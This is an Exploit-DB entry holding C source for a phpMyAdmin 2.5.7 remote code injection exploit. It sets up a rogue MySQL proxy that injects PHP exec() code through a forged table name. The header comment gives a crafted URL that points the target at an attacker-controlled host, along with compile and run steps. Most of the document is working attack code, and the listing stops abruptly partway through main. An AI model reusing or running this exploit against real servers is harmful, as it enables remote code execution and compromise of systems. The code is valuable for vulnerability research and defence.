Exploit-DB #309
Description: phpMyAdmin 2.5.7 - Remote code Injection
Type: webapps
Platform: php
Date: 2004-07-04
Author: Nasir Simbolon

Exploit:
/*    
 * phpmy-explt.c  
 * written by Nasir Simbolon <nasir kecapi com>
 * eagle kecapi com
 * Jakarta, Indonesia
 * 
 * June, 10 2004 
 * 
 * A phpMyAdmin-2.5.7 exploite program.
 * This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
 * when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
 *
 * Compile : gcc phpmy-explt.c -o phpmy-explt
 *
 * run with
 * ./phpmy-explt
 *
 * and go to your target and put 
 *
 * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
 * attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
 * [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
 * [4][only_db]=databasename
 *
 * fill host,port,user,pass and databasename correctly
 *
 */


#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"


#define BUFFER_LEN 1024

/* This is php code we want to inject into phpMyAdmin 
   Do NOT use  single quote (') in the string, use double quote (") instead
*/
char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";


  /* This is examples codes I captured when mysql server
     reply to client's request of query "SHOW TABLES" query.
     It shows  database  name 'phpmy' and contain one tablename  'mytable'
     Our aim is to manipulate the data received from mysql server
     by replacing 'mytable' with our exploide codes.
     
     0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
     0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
     '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
     0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
     -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
     'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  */


int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{	
   char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
     	 	   0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
     		   '_'}; 
   /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
   char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
	           0x1 ,0x0 ,0x0 ,0x3 ,-2};  
   /* part of int phpcodes string length +1   (8) */ 
   char my3[3]  = {0x0 ,0x0 ,0x4};
   /* part of int phpcodes string length      (7) */ 
   /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
   char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};
	
   int len,i;

   len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
   *expcode = (char*) malloc(sizeof(char) * len); 
   
   i = 0;
   bcopy(&my1[0],*expcode + i,21);
   i += 21;
   bcopy(dbname, *expcode + i,strlen(dbname));
   i += strlen(dbname);
   bcopy(&my2[0],*expcode + i,15);
   i += 15;
   (*expcode)[i] = 5 + strlen(phpcodes) + 1;
   i ++;
   bcopy(&my3[0],*expcode + i,3);
   i += 3;  
   (*expcode)[i++] = 5 + strlen(phpcodes) ;
   /* this is our exploite codes*/
   (*expcode)[i++] = '\\'; 
   (*expcode)[i++] = '\''; 
   (*expcode)[i++] = ';'; 
   bcopy(phpcodes,*expcode + i,strlen(phpcodes));
   i += strlen(phpcodes);
   (*expcode)[i++] = '/'; 
   (*expcode)[i++] = '*'; 
   bcopy(&my4[0],*expcode + i,5);
   
   return len;
}

/* connect to mysql server*/

int connect_mysql()
{
    int s2;
    struct sockaddr_in ina;
    struct hostent *h;
    
    h = gethostbyname(HOSTNAME);
    /* set internet address */
    bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
    ina.sin_family = AF_INET;
    ina.sin_port = htons(MYSQL_PORT);
    //ina.sin_zero[0]='\0';
    if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0) 
  	perror("Socket: ");
    
    if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
	                   perror("connect()");
    return s2;
}

/* listener */
int listener()
{
    int s1;
    int opt;
    struct sockaddr_in ina;

    /* set internet address */
    ina.sin_family = AF_INET;
    ina.sin_port = htons(BIND_PORT);
    ina.sin_addr.s_addr = INADDR_ANY;

    if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0) 
  	perror("Socket: ");
    
    opt = 1;
    setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
       
    if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1) 
	perror("Bind: ");
	
    if(listen(s1, 10) == -1) 
  	perror("Listen"); 
	
   return s1;
}


int main(int argc,char* argv[])
{
	struct sockaddr_in ina1;
	int ina1_l;
	int s_daemon,s_mysql;
	size_t byte_read,byte_written;
	char *buf;
	int sc,event,n_select;
	fd_set rfds;
        struct timeval tv;	 
	int exptlen,i;
	char *expt;
	char *dbname=DATABASE;
	
	buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
	tv.tv_sec  = 15;
	tv.tv_usec = 0;
	
	/* we listen to port */
	 s_daemon = listener();
    
	exptlen = build_exploite_code(dbname,phpcodes,&expt);

	for(;;) 
	{
	   fprintf(stderr,"waiting for connection\n");
	   
	   if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) ) 
		  perror("accept()");
	   /* if we get here, we have a new connection */
	   fprintf(stderr,"got client connection\n");
mysql:
	   /* connect to mysql */
	   s_mysql = connect_mysql();
        
	   for(;;) 
	    {
	   	FD_ZERO(&rfds);
	        FD_SET(sc,&rfds);
  	   	FD_SET(s_mysql,&rfds);                                
		
	        n_select = (sc > s_mysql)? sc : s_mysql;

	    	event = select(n_select+1,&rfds,NULL,NULL,NULL);
	    	if(-1  == event) 
		    perror("select()");
	        else 
		{	
		    if(FD_ISSET(s_mysql,&rfds)) 
		     {
			byte_read = read(s_mysql,buf,BUFFER_LEN);
		    	/* check for closing client connection*/
		    	if(byte_read == 0) 
	  	        {
			   shutdown(s_mysql,SHUT_RDWR);
			   close(s_mysql);
			   goto mysql;
		        }